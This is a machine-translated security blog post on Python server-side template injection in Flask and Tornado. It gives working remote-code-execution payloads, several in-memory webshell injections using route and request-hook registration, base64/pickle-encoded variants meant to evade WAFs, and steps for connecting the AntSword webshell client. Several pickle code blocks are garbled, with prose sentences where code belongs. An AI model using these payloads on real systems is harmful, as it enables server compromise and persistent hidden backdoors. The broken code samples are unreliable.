Through the technical research of Python SSTI, it was found that some of the Payloads on the Internet have limitations and cannot be used directly, some pitfalls were encountered, and the memory horse injection of Flask and Tornado was completed, which can bypass WAF and can be graphically managed by ChinaChop
0x00 Cause
A user unit reported that during the HW period, they were attacked by an attack team and provided the attack team's report and firewall traffic. As the New Year's Day was approaching, with nothing to do, I thought that I had not seriously studied technology for a long time, so I started to study.
Not very familiar with SSTI before, just took this opportunity to study SSTI, after searching for relevant information, found that the most widespread is Flask SSTI, so started here
Environment setup: https://github.com/vulhub/vulhub/blob/master/flask/ssti/
Or you can directly use an online range, https://buuoj.cn/challenges#[Flask]SSTI
The simple code to cause Flask SSTI is as follows:
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
The following payload can be used to determine the existence of SSTI
Then we can try to use the magic method in Python:
__class__ Current class
__mro__ All parent classes
__subclasses__() All subclasses
__globals__ Global variables
__builtins__ Direct access to all Python 'built-in' identifiers
__import__ Import module
With the above foundation, we can find an RCE Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
So far, RCE has been completed
0x02 Research on Simple Memory Horse Injection in Python Flask
According to the principle of memory horse, it is actually to add a route and add some code operations in this route
There is a method exactly like this, app.add_url_rule()
The environment I use isflask==1.1.1,jinja2==2.10.3
Online Payload:
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
or
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
After testing, variables such as url_for, sys, app, request, etc., cannot be used directly; it will report an error: 'This variable is not defined'
After tireless efforts, we finally discovered that there are context variables in flask.globals
Therefore, we can obviously get a Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}
It's perfect, by accessing the built-in __import__ through __builtins__, we can import flask, access current_app through flask.globals, and then call add_url_rule()
So what is the result?
emm, this error is also too amazing, syntax error??
After checking character by character, it's impossible for there to be any syntax errors. I searched for a long time, but there were no results
On StackOverflow, I barely got a similar conclusion: the logic is complex, don't use complex logic in jinja2 templates, such as lambda anonymous functions
Only slightly modify the Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
Then access/abking123?abking=whoami
So, the Flask memory horse has been injected and can be used normally
But! We will find a problem in the latest version of Flask:
The latest version of Flask has added restrictions and an validation function in the setupmethod decorator, which will cause it to be impossible to call functions with the setupmethod decorator in any request.
How can we solve this problem?
Of course!
Similar to the concept of filter in Java, Flask has a before_request before each request and an after_request after each request
When using it, you just append a new function to the before_request request list or after_request
Here is a universal Payload that uses before_request for both old and new versions:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()")==None else None)") }}
Similarly, there is a universal Payload for both old and new versions that uses after_request:
The first segment: "{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp) }}"
0x03 Encrypted Transmission
This time, the report of the attack team gave me an idea, using pickle.loads() for deserialization can complete encrypted transmission
The __reduce__ magic function in pickle will be automatically executed when an object is deserialized. We can execute arbitrary commands by implanting malicious code within the __reduce__ magic function.
Here is a code example:
import pickle
import base64
code = """
Similarly, Tornado can also use pickle for encoding
return __import__('os').popen('whoami').read()
import base64
f()
"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
pickle.loads(base64.b64decode(base64_class))
The execution result is as follows:
At this time, put the base64 encoded string output by the console into the SSTI Payload
It can be obtained
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4=')) }}
This can bypass the WAF's encoding, and the code logic can be more complex, all put into a base64 encoded string, then you just need to find the python format webshell of蚁剑/冰蝎/哥斯拉.
However, after my extensive search, I couldn't find any python webshell, and the only python format webshell built-in to蚁剑 is only applicable to python2. Write one by yourself, it's too麻烦, this is the last resort.
0x04 Turnaround completed蚁剑connection
After my tireless efforts, I discovered a feature on the official WeChat public account of蚁剑 (https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA)
It can directly connect to RCE vulnerabilities without language restrictions, this is too cool!
Start the operation!
Low version flask supports add_url_rule()
import pickle
import base64
code = """
Similarly, Tornado can also use pickle for encoding
return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
import base64
f()
"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
It is important to note that methods=['POST'] must be used because only the POST method is supported when connecting with蚁剑 later
Any version of flask universal kill 1:
import pickle
import base64
code = """
Similarly, Tornado can also use pickle for encoding
return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())") == None else None)
import base64
f()
"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
Universal kill for any version of Flask 2:
import pickle
import base64
code = """
Similarly, Tornado can also use pickle for encoding
return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())") == None else resp)
import base64
f()
"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
Note: request.args is modified to request.form because蚁剑 only supports POST method connections
The reason for changing request.args to request.form is that蚁剑 only supports POST method connections
The string encoded in base64 is placed into the SSTI Payload, and the final encrypted Payload for killing low versions of Flask is
The encrypted payload for any version of Flask using the app.before_request_funcs.setdefault() function is:}}
The payload for killing any version of Flask using the function app.before_request_funcs.setdefault() is: {{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg==')) }}
The encryption payload for any version of Flask using the app.after_request_funcs.setdefault() function is: }}
The payload for any version of Flask encrypted using the app.after_request_funcs.setdefault() function is: {{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4=')) }}
Among them, eval can be replaced with exec.
The execution result is as follows:
Start Antyuan connection! http://127.0.0.1:5000/abking123 Password abking
Note: If Antyuan reports an error 405, the reason is that Antyuan only supports POST method connection, so methods=['POST'] is definitely needed
Up to now, we have completed the antyuan memory horse injection for encrypted SSTI of any version of flask!
0x05 Tornado memory horse injection
After completing the flask memory horse injection, we can easily extend it to Tornado memory horse injection
The following is an example of Tornado SSTI code:
Note: The version I am using is tornado==5.1.1
import tornado.ioloop
import tornado.web
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {}#Clear the template engine
with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))}}
self.render('index.html')
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
The following Payload can complete RCE
{{__import__('os').popen('whoami').read()}}
Similarly, in order to go online with蚁剑, we must inject a POST type of memory horse
Note: here we use{{__import__('os').popen(handler.get_argument('abking')).read()}}
Cannot be used to go online with蚁剑, the reason is the POST issue
In Tornado, there is a function to add routes called add_handlers(), so we use this to get the following Payload
{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(eval(x.get_argument("code"))))}))])}}
Connect using蚁剑, password is cmdhttp://127.0.0.1:5000/abking123?code=__import__('os').popen(x.get_argument('cmd')).read()
Further abbreviation:
{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])}}
Connect using蚁剑, password is abkinghttp://127.0.0.1:5000/abking123
同样地,Tornado也可以使用pickle来进行编码
import pickle
import base64
code = """
Similarly, Tornado can also use pickle for encoding
import pickle
import base64
f()
"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
The obtained Payload is
AI Large Model Security: Prompt Injection Attack (Prompt Injection Attack)
Eighth. Blind injection based on boolean header injection
Flask Python code audit ideas and practical records
DLL injection vs. Shellcode injection
Git leak && AWS AKSK && AWS Lambda cli && Function Information Leakage && JWT secret leak

评论已关闭